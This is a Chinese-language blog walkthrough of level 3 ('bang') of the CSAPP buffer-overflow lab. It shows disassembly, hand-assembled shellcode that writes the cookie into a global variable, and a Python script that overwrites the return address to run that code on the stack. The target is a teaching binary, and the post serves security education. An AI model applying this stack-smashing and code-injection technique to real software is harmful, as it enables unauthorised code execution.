<!--[CDATA[

上一个lab还有两关没有做完,但是懒的挨个截图写下来咯=.=,先看看第三个实验,听起来就很好玩 : )

找了半天才找到一个可用的32位的版本,原版会要求在他的shark machine上运行, The Hardware/Software Interface上又是64位的版本.最后在github上找到了一个可以用的32位版https://github.com/Mithrilwoodrat/CSAPP-Labs/tree/master/buflab.

前两关相当简单,网上一大堆答案,就不写咯,写下第三个,bang =.=

实验自带的sendstring是64位版本的,http://my.oschina.net/gallant/blog/96049?上有32位的源码,可以下载自己编译.但是事实上,自己写个Py脚本更方便,还可以加上注释=.=,我写了一个Py oneline版https://github.com/Mithrilwoodrat/hex2raw

bang的源码如下

int global_value = 0; void bang(int val) { if (global_value == cookie) { printf("Bang!: You set global_value to 0x%x\n", global_value); validate(2); } else printf("Misfire: global_value = 0x%x\n", global_value);

exit(0); }

因为global_value是全局变量,无法简单覆盖,需要执行一段代码,设置global_value为cookie值.

我指定的用户名为123

./bufbomb -u 123

得到cookie值为0x70a28da5

反汇编bang的代码如下

08049022 <bang>: 8049022: 55 push %ebp 8049023: 89 e5 mov %esp,%ebp 8049025: 83 ec 18 sub $0x18,%esp 8049028: a1 ec c1 04 08 mov 0x804c1ec,%eax 804902d: 3b 05 e4 c1 04 08 cmp 0x804c1e4,%eax 8049033: 75 1e jne 8049053 <bang+0x31> 8049035: 89 44 24 04 mov %eax,0x4(%esp) 8049039: c7 04 24 90 a1 04 08 movl $0x804a190,(%esp) 8049040: e8 9b f8 ff ff call 80488e0 <printf@plt> 8049045: c7 04 24 02 00 00 00 movl $0x2,(%esp) 804904c: e8 93 00 00 00 call 80490e4 <validate> 8049051: eb 10 jmp 8049063 <bang+0x41> 8049053: 89 44 24 04 mov %eax,0x4(%esp) 8049057: c7 04 24 79 9f 04 08 movl $0x8049f79,(%esp) 804905e: e8 7d f8 ff ff call 80488e0 <printf@plt> 8049063: c7 04 24 00 00 00 00 movl $0x0,(%esp) 804906a: e8 21 f9 ff ff call 8048990 <exit@plt>

查看后发现0x804c1ec为global_value,0x804c1e4为cookie,同为全局变量,它们的位置很靠近.

所以编写汇编代码如下

mov $0x70a28da5, %ebx mov $0x804c1ec, %eax mov %ebx, (%eax) ret

cookie at 0x804c1e4

global_value at 0x804c1ec

事实上我一开始是将 0x804c1e4的内容移动到0x804c1ec,完成后参考了上面那个blog中的代码才发现我当时脑子短路了.

gcc -c -m32 bang.s

然后 

objdump -S bang.o > bang.dump

生成的内容如下

bang.o: file format elf32-i386

Disassembly of section .text:

00000000 <.text>: 0: bb a5 8d a2 70 mov $0x70a28da5,%ebx 5: b8 ec c1 04 08 mov $0x804c1ec,%eax a: 89 18 mov %ebx,(%eax) c: c3 ret

现在剩下的就是确定buf的位置,然后像之前一样覆盖跳转的位置,只不过把返回地址改为buf开始处而已.

在 getbuf处下断点,然后x $ebp.将得到的值减去40就是buf的起始地址了,我的虚拟机中为0x556836c8

现在万事具备了,可以编写我们的shellcode了.exploit3.py如下

#cookie :0x70a28da5

buf 0x556836c8

bang #08049022

shellcode = '\xbb\xa5\x8d\xa2\x70'+'\xb8\xec\xc1\x04\x08'+'\x89\x18'+'\xc3'

mov $0x70a28da5,%ebx

mov $0x804c1ec,%eax

mov %ebx,(%eax)

ret

shellcode= shellcode + (40 - len(shellcode))*'a'

print shellcode

shellcode = shellcode +'a'*4 + '\xc8\x36\x68\x55'+'\x22\x90\x04\x08'# ret buf and ret bang print shellcode

是不是比直接写XXX.txt爽快多了呢.如果这样还嫌麻烦的话,可以把bang.dump中的16进制字符串复制到一个py字符串s中,使用

s = reduce(lambda x,y:x+y,[chr(int(i,16)) for i in s.split()])